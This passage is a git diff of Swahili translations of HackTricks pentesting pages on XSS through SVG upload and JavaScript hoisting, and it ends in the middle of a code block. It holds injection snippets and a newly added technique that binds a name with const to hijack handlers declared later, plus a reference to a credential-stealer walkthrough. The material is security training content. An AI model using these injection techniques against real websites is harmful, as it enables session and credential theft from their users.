XSS kupakia faili (svg) +### XSS kwa kupakia faili (svg) -Pakia kama picha faili kama ifuatavyo (kutoka [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): +Pakia kama picha faili kama ifuatayo (kutoka [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1637,7 +1688,7 @@ id="foo"/> ``` Pata **SVG payloads zaidi katika** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Mambo Mengine ya JS & Taarifa Zinazohusiana +## Mbinu Mbalimbali za JS & Taarifa Muhimu {{#ref}} @@ -1653,4 +1704,9 @@ other-js-tricks.md - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) +## Marejeleo + +- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) +- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index a1c690b7d..fbf3596b4 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -4,29 +4,29 @@ ## Basic Information -Katika lugha ya JavaScript, mekanismu inayojulikana kama **Hoisting** inaelezewa ambapo matangazo ya mabadiliko, kazi, madarasa, au uagizaji yanaelekezwa kwa dhana juu ya upeo wao kabla ya msimbo kutekelezwa. Mchakato huu unafanywa kiotomatiki na injini ya JavaScript, ambayo inapitia skripti katika vipitisho vingi. +Katika lugha ya JavaScript, kuna utaratibu unaoitwa **Hoisting** ambapo tamko za variables, functions, classes, au imports kwa dhana huinuliwa juu ya scope yao kabla ya msimbo kutekelezwa. Mchakato huu hufanywa kiotomatiki na JavaScript engine, ambayo hupitia script kwa vipindi vingi. -Wakati wa kipitisho cha kwanza, injini inachambua msimbo ili kuangalia makosa ya sintaksia na kuubadilisha kuwa mti wa sintaksia wa kiabstrakti. Awamu hii inajumuisha hoisting, mchakato ambapo matangazo fulani yanahamishwa juu ya muktadha wa utekelezaji. Ikiwa awamu ya uchambuzi inafanikiwa, ikionyesha hakuna makosa ya sintaksia, utekelezaji wa skripti unaendelea. +Wakati wa pass ya kwanza, engine inachambua msimbo kuangalia syntax errors na kuubadilisha kuwa abstract syntax tree. Awamu hii inajumuisha hoisting, mchakato ambapo tamko fulani huhamishwa hadi juu ya execution context. Ikiwa hatua ya parsing itafanikiwa, ikionyesha hakuna syntax errors, utekelezaji wa script unaendelea. Ni muhimu kuelewa kwamba: -1. Skripti lazima iwe huru na makosa ya sintaksia ili utekelezaji ufanyike. Sheria za sintaksia lazima zifuatwe kwa ukali. -2. Mahali pa msimbo ndani ya skripti yanaathiri utekelezaji kutokana na hoisting, ingawa msimbo uliofanywa unaweza kutofautiana na uwakilishi wake wa maandiko. +1. Script inapaswa kuwa haina syntax errors ili utekelezaji uanze. Sheria za syntax lazima zizingatiwe kikamilifu. +2. Nafasi ya msimbo ndani ya script inaathiri utekelezaji kutokana na hoisting, ingawa msimbo unaotekelezwa unaweza kutofautiana na muundo wake wa maandishi. #### Types of Hoisting -Kulingana na taarifa kutoka MDN, kuna aina nne tofauti za hoisting katika JavaScript: +Kulingana na MDN, kuna aina nne tofauti za hoisting katika JavaScript: -1. **Value Hoisting**: Inaruhusu matumizi ya thamani ya mabadiliko ndani ya upeo wake kabla ya mstari wake wa matangazo. -2. **Declaration Hoisting**: Inaruhusu kurejelea mabadiliko ndani ya upeo wake kabla ya matangazo yake bila kusababisha `ReferenceError`, lakini thamani ya mabadiliko itakuwa `undefined`. -3. Aina hii inabadilisha tabia ndani ya upeo wake kutokana na matangizo ya mabadiliko kabla ya mstari wake wa matangizo halisi. -4. Athari za upande wa matangizo hutokea kabla ya msimbo mwingine unaoihusisha kutathminiwa. +1. **Value Hoisting**: Inaruhusu matumizi ya thamani ya variable ndani ya scope yake kabla ya mstari wake wa declaration. +2. **Declaration Hoisting**: Inaruhusu kurejelea variable ndani ya scope kabla ya declaration yake bila kusababisha `ReferenceError`, lakini thamani ya variable itakuwa `undefined`. +3. Aina hii inabadilisha tabia ndani ya scope kutokana na tamko la variable kabla ya mstari wake halisi wa declaration. +4. Madhara ya tamko yanatokea kabla ya sehemu nyingine za msimbo zinazojumuisha tamko hilo kuangaliwa. -Kwa undani, matangizo ya kazi yanaonyesha tabia ya hoisting aina 1. Neno la `var` linaonyesha tabia ya aina 2. Matangazo ya kisheria, ambayo yanajumuisha `let`, `const`, na `class`, yanaonyesha tabia ya aina 3. Mwishowe, taarifa za `import` ni za kipekee kwa kuwa zina hoisted na tabia za aina 1 na aina 4. +Kwa undani, function declarations zinaonyesha tabia ya hoisting ya aina ya 1. `var` inadhihirisha tabia ya aina ya 2. Lexical declarations, ambazo ni pamoja na `let`, `const`, na `class`, zinaonyesha tabia ya aina ya 3. Mwishowe, statements za `import` ni za kipekee kwa kuwa zinahoisted kwa tabia za aina ya 1 na aina ya 4. ## Scenarios -Hivyo ikiwa una hali ambapo unaweza **Kuingiza msimbo wa JS baada ya kitu kisichotangazwa** kutumika, unaweza **kurekebisha sintaksia** kwa kutangaza (ili msimbo wako utekelezwe badala ya kutupa makosa): +Kwa hiyo ikiwa una matukio ambapo unaweza **Inject JS code after an undeclared object** inatumiwa, unaweza **fix the syntax** kwa kuitangaza (hivyo msimbo wako unatekelezwa badala ya kutoa error): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -68,7 +68,7 @@ alert(1); test.cookie("leo", "INJECTION") test[("cookie", "injection")] ``` -## Mifanozo Zaidi +## Matukio Mengine ```javascript // Undeclared var accessing to an undeclared method x.y(1,INJECTION) @@ -127,11 +127,31 @@ alert(1) - }, }) } +trigger() ``` +### Zuia tamko za baadaye kwa kufunga jina kwa const + +Ikiwa unaweza kutekeleza kabla ya `function foo(){...}` ya ngazi ya juu kusomwa, kutangaza lexical binding kwa jina lile lile (mf., `const foo = ...`) kutaizuia tamko la function la baadaye kuunganisha tena kitambulisho hicho. Hii inaweza kutumika vibaya katika RXSS kuchukua udhibiti wa handlers muhimu zilizofafanuliwa baadaye kwenye ukurasa: +```javascript +// Malicious code runs first (e.g., earlier inline